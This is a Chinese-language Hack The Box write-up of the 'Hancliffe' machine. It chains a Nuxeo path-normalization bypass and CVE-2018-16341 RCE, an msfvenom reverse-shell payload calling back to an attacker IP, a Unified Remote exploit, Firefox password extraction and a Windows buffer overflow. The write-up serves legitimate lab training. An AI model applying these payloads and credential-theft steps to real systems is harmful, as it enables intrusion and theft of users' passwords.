基本信息
- https://www.hackthebox.com/home/machines/profile/388
- 10.10.11.115
端口扫描
80,8000,9999:
1 | nmap -sC -sV 10.10.11.115 |
80
nginx默认页面:
8000
密码管理系统,使用的开源hashpass:
- scottparry/hashpass: A Stateless Password Manager written in PHP
https://github.com/scottparry/hashpass
9999
一个自定义服务,需要用户名密码:
目录扫描
80端口目录扫描可以发现一个maintenance跳转到/nuxeo/Maintenance:
1 | gobuster dir -u http://10.10.11.115/ -w /usr/share/dirb/wordlists/common.txt -x asp,aspx,php,html,txt -t 50 |
但直接访问是404:
路径处理
nexeo是一个java的cms,而前端是nginx,所以可能存在路径标准化处理问题:
1 | /maintenance/..;/ |
1 | /maintenance/..;/nuxeo/nxstartup.faces |
1 | /maintenance/..;/nuxeo/login.jsp |
目录扫描
基于以上规则,进一步进行目录扫描:
1 | gobuster dir -u "http://10.10.11.115/maintenance/..;" -w /usr/share/dirb/wordlists/common.txt -x jsp -t 50 |
login.jsp
根据结果,可以访问到login,底部可以看到版本号 FT 10.2 :
1 | http://10.10.11.115/maintenance/..;/login.jsp |
nexeo
根据版本可以搜到相关漏洞:
- mpgn/CVE-2018-16341: CVE-2018-16341 - Nuxeo Remote Code Execution without authentication using Server Side Template Injection
https://github.com/mpgn/CVE-2018-16341
svc_account
修改exp中相关路径,执行,现在我们有svc_account权限:
reverse shell
1 | msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.15 LPORT=4444 -f exe -o msf.exe |
Unified Remote 3
查看文件可以发现一个Unified Remote 3:
这个版本相关漏洞:
- Unified Remote 3.9.0.2463 - Remote Code Execution - Windows remote Exploit
https://www.exploit-db.com/exploits/49587
exploit
端口转发出来,修改exp中下载目录,执行,获得shell:
1 | meterpreter |
user flag
clara桌面得到user.txt:
firefox
信息搜集可以发现clara用户存在firefox相关配置文件, 这里方便操作直接用meterpreter了:
1 | use post/multi/gather/firefox_creds |
Firepwd
(新版本winpeas会自动解出来这个密码)
使用Firepwd进行解密,得到一个development相关密码,查看用户也能看到development用户:
- lclevy/firepwd: firepwd.py, an open source tool to decrypt Mozilla protected passwords
https://github.com/lclevy/firepwd
1 | decrypting login/password pairs |
development
使用这些信息返回8000端口,生成密码:
1 | development |
winrm
查看用户相关信息的时候也可以知道development可以远程,所以winrm端口也转发出来,使用生成的密码登录成功:
1 | portfwd add –l 5985 –p 5985 –r 127.0.0.1 |
devapp
devapp里可以发现一个exe,就是9999端口那个,下载下来分析:
BOF
具体分析详见0xdf博客及视频,大概就是校验用户名密码通过后进入到_SaveCreds函数,这个函数中code那里使用的strcpy,存在BOF
还涉及到几个加密算法的分析逆向
- EXE Analysis with Ghidra - Hancliffe [HackTheBox] - YouTube
https://www.youtube.com/watch?v=r4aaNt7f-lM&ab_channel=0xdf
1 | username = "alfiansyah"; |
debug
基础windows bof调试流程,本地运行,试行错误,比改版前的OSCP BOF难度要高,可能是OSED的难度,可用空间不足,0xdf的方式是跳回缓冲区开头,以及重用socket:
1 | EIP offset 66 |
exploit.py
1 | #!/usr/bin/env python3 |
root flag
bof exp打到administrator:
参考资料
- scottparry/hashpass: A Stateless Password Manager written in PHP
https://github.com/scottparry/hashpass - https://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out-2.pdf
- mpgn/CVE-2018-16341: CVE-2018-16341 - Nuxeo Remote Code Execution without authentication using Server Side Template Injection
https://github.com/mpgn/CVE-2018-16341 - Nuxeo 认证绕过和RCE漏洞分析(CVE-2018-16341) - 斗象能力中心
https://blog.riskivy.com/nuxeo-rce-analysis-cve-2018-16341/ - Unified Remote 3.9.0.2463 - Remote Code Execution - Windows remote Exploit
https://www.exploit-db.com/exploits/49587 - lclevy/firepwd: firepwd.py, an open source tool to decrypt Mozilla protected passwords
https://github.com/lclevy/firepwd - EXE Analysis with Ghidra - Hancliffe [HackTheBox] - YouTube
https://www.youtube.com/watch?v=r4aaNt7f-lM&ab_channel=0xdf - HTB: Hancliffe | 0xdf hacks stuff
https://0xdf.gitlab.io/2022/03/05/htb-hancliffe.html - https://www.hackthebox.com/home/machines/writeup/388
- HackTheBox - Hancliffe - YouTube
https://www.youtube.com/watch?v=kA-bkftyyY0&ab_channel=IppSec